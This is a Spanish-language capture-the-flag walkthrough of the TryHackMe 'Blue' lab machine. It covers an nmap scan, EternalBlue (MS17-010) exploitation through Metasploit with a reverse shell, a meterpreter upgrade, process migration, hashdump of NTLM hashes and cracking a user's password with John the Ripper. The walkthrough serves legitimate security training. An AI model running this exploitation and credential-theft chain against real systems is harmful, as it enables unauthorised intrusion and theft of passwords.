Blue - TryHackMe

Reconocimiento 🔎


Vamos a comenzar con un escaneo de puertos utilizando la herramienta nmap y agregamos el parametro --script vuln, para encontrar vulnerabilidad en los puertos:

nmap -sV --script vuln $IPv             
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-18 18:38 CEST
Pre-scan script results:
| broadcast-avahi-dos: 
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for 10.10.70.247
Host is up (0.059s latency).
Not shown: 991 closed tcp ports (conn-refused)
PORT      STATE SERVICE            VERSION
135/tcp   open  msrpc              Microsoft Windows RPC
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds       Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3389/tcp  open  ssl/ms-wbt-server?
|_ssl-ccs-injection: No reply from server (TIMEOUT)
49152/tcp open  msrpc              Microsoft Windows RPC
49153/tcp open  msrpc              Microsoft Windows RPC
49154/tcp open  msrpc              Microsoft Windows RPC
49158/tcp open  msrpc              Microsoft Windows RPC
49160/tcp open  msrpc              Microsoft Windows RPC
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_smb-vuln-ms10-054: false
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_      https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 183.60 seconds

Como podemos ver existen bastantes puertos abierto pero el que nos interesa es el que hay vulnerabilidades en el.

  • ms17-10: Remote Code Execution(RCE) in SMB server.

Explotación 🔑


Para comenzar con la fase de explotación al ya saber la vulnerabilidad. Vamos a iniciar metasploit:

sudo msfdb init && msfdb run

Y ahora vamos a buscar nuestro exploit en esta herramienta. search ms17-10
Aparecerán varios, pero el que nos interesa es exploit/windows/smb/ms17_010_eternalblue

use exploit/windows/smb/ms17_010_eternalblue


Ahora nos toca configurar este exploit con el siguiente comando podremos ver lo necesario:

show options

Vamos lo necesario:

  • RHOSTS (Dirección IP del servidor)
  • LHOST (Nuestra dirección IP)

Hay que recordar que si estamos en la VPN de TryHackMe deberemos poner la IP de la red donde se encuentra la máquina víctima. Ya teniendo todo listo ejeutamos el exploit:

run

Si la session no es creada puede que tengamos configurados por predeterminado el payload, lo tenemos que poner con el siguiente:

set PAYLOAD generic/shell_reverse_tcp

Una vez tengamos la session, se nos habrá creado una shell.



Escalada de Privilegios 🚀


Escribimos whoami para confirmar que estamos en NT AUTHORITY/SYSTEM

Si intenta poner en segundo plano la sesión usando Ctrl+Z, también se colocará en segundo plano su msfconsole y estará en el shell bash. Si hizo eso para volver a su shell de Windows en msfconsole, escriba el comando fg.

Para comenzar la escalada de privilegios vamos a convertir nuestra shell a una sesion meterpreter.

Podemos hacerlo con el comando sessions -u <sesion-ID> o con el siguiente modulo:

use post/multi/manage/shell_to_meterpreter

Utilizaremos show options para ver las opciones y el requisito que tenemos que poner es el numero de la sesión. Para poder verlo ejecutamos el comando:

sessions

Teniendo el id de la sesión de nuestra shell de windows.

set SESSION <sesión-ID>

Y ya podemos ejecutar el exploit con el comando run.

Si el exploit no funciona deberemos reciniar la máquina, y realizar todos lo pasos de nuevo.

Para entrar en sesión meterpreter:

sessions <sesión-ID>

Una vez dentro vamos a ejecutar el comando ps para ver todos los procesos que están corriendo en esta máquina.

meterpreter > ps
============

 PID   PPID  Name                  Arch  Session  User                          Path
 ---   ----  ----                  ----  -------  ----                          ----
 0     0     [System Process]
 4     0     System                x64   0
 100   644   LogonUI.exe           x64   1        NT AUTHORITY\SYSTEM   C:\Windows\system32\LogonUI.exe
 416   4     smss.exe              x64   0        NT AUTHORITY\SYSTEM           \SystemRoot\System32\smss.exe
 432   688   svchost.exe           x64   0        NT AUTHORITY\SYSTEM
 524   688   svchost.exe           x64   0        NT AUTHORITY\SYSTEM
 544   536   csrss.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\csrss.exe
 592   536   wininit.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\wininit.exe
 604   584   csrss.exe             x64   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\csrss.exe
 644   584   winlogon.exe          x64   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\winlogon.exe
 688   592   services.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\services.exe
 716   592   lsass.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\lsass.exe
 724   592   lsm.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\lsm.exe
 784   2564  cmd.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\cmd.exe
 824   688   svchost.exe           x64   0        NT AUTHORITY\SYSTEM
 896   688   svchost.exe           x64   0        NT AUTHORITY\NETWORK SERVICE
 948   688   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE
 1076  688   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE
 1164  688   svchost.exe           x64   0        NT AUTHORITY\NETWORK SERVICE
 1284  544   conhost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\conhost.exe
 1308  688   spoolsv.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\spoolsv.exe
 1344  688   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE
 1396  688   amazon-ssm-agent.exe  x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe
 1480  688   LiteAgent.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\Amazon\XenTools\LiteAgent.exe
 1568  824   WmiPrvSE.exe
 1596  688   Ec2Config.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\Amazon\Ec2ConfigService\Ec2Config
                                                                                .exe
 1880  688   svchost.exe           x64   0        NT AUTHORITY\NETWORK SERVICE
 1972  544   conhost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\conhost.exe
 1988  1308  cmd.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\cmd.exe
 2196  2784  mscorsvw.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ms
                                                                                corsvw.exe
 2564  2876  powershell.exe        x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\WindowsPowerShell\v1.0\powersh
                                                                                ell.exe
 2568  688   TrustedInstaller.exe  x64   0        NT AUTHORITY\SYSTEM
 2768  544   conhost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\conhost.exe
 2784  688   mscorsvw.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ms
                                                                                corsvw.exe
 2836  688   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE
 2864  688   sppsvc.exe            x64   0        NT AUTHORITY\NETWORK SERVICE
 2900  688   svchost.exe           x64   0        NT AUTHORITY\SYSTEM
 2976  688   SearchIndexer.exe     x64   0        NT AUTHORITY\SYSTEM

La mayor parte del tiempo, su proceso debería ejecutarse como NT AUTHORITY/SYSTEM, pero si no es el caso, debe migrar a otro proceso. Anote el PID de cualquier proceso que se ejecute como NT AUTHORITY/SYSTEM. Para migrar a ese proceso:

migrate PID

Cracking

Si seguimos en la sesión de meterpreter, ejecutamos el comando hashdump para volcar los usuarios y los hash de las contraseñas.

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::

Ahora vamos a guardar estas contraseñas en un fichero, en mi caso solo voy a guardar la que nos interesa que es el usuario Jon.

cat tocrack        
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::

Teniendo este fichero vamos a dejar la sesión meterpreter en segundo plano y vamos a crackear la contraseña con la herramienta Jhon the Ripper.

john --wordlist=/usr/share/wordlists/rockyou.txt tocrack --format=NT
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=12
Press 'q' or Ctrl-C to abort, almost any other key for status
alqfna22         (Jon)     
1g 0:00:00:00 DONE (2023-04-19 19:30) 1.923g/s 19616Kp/s 19616Kc/s 19616KC/s alr19882006..alpusidi

Buscando las Flags

Volvemos a la sesión meterpreter y escribimos lo siguiente:

meterpreter > search -f "flag*"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Found 6 results...
==================

Path                                                             Size (bytes)  Modified (UTC)
----                                                             ------------  --------------
c:\Users\Jon\AppData\Roaming\Microsoft\Windows\Recent\flag1.lnk  482           2019-03-17 20:26:42 +0100
c:\Users\Jon\AppData\Roaming\Microsoft\Windows\Recent\flag2.lnk  848           2019-03-17 20:30:04 +0100
c:\Users\Jon\AppData\Roaming\Microsoft\Windows\Recent\flag3.lnk  2344          2019-03-17 20:32:52 +0100
c:\Users\Jon\Documents\flag3.txt                                 37            2019-03-17 20:26:36 +0100
c:\Windows\System32\config\flag2.txt                             34            2019-03-17 20:32:48 +0100
c:\flag1.txt                                                     24            2019-03-17 20:27:21 +0100

Y ya con el comando:

cat <Ruta_completa_del_fichero_flag>

O si lo queremos hacer desde shell:

type <Ruta_completa_del_fichero_flag>

Podremos ver todas las flags que queramos.

Enhorabuena, conmpletaste la room.




Espero que te haya servido de ayuda este post. Me ayudarías mucho si lo compartes en tus RRSS, GRACIAS!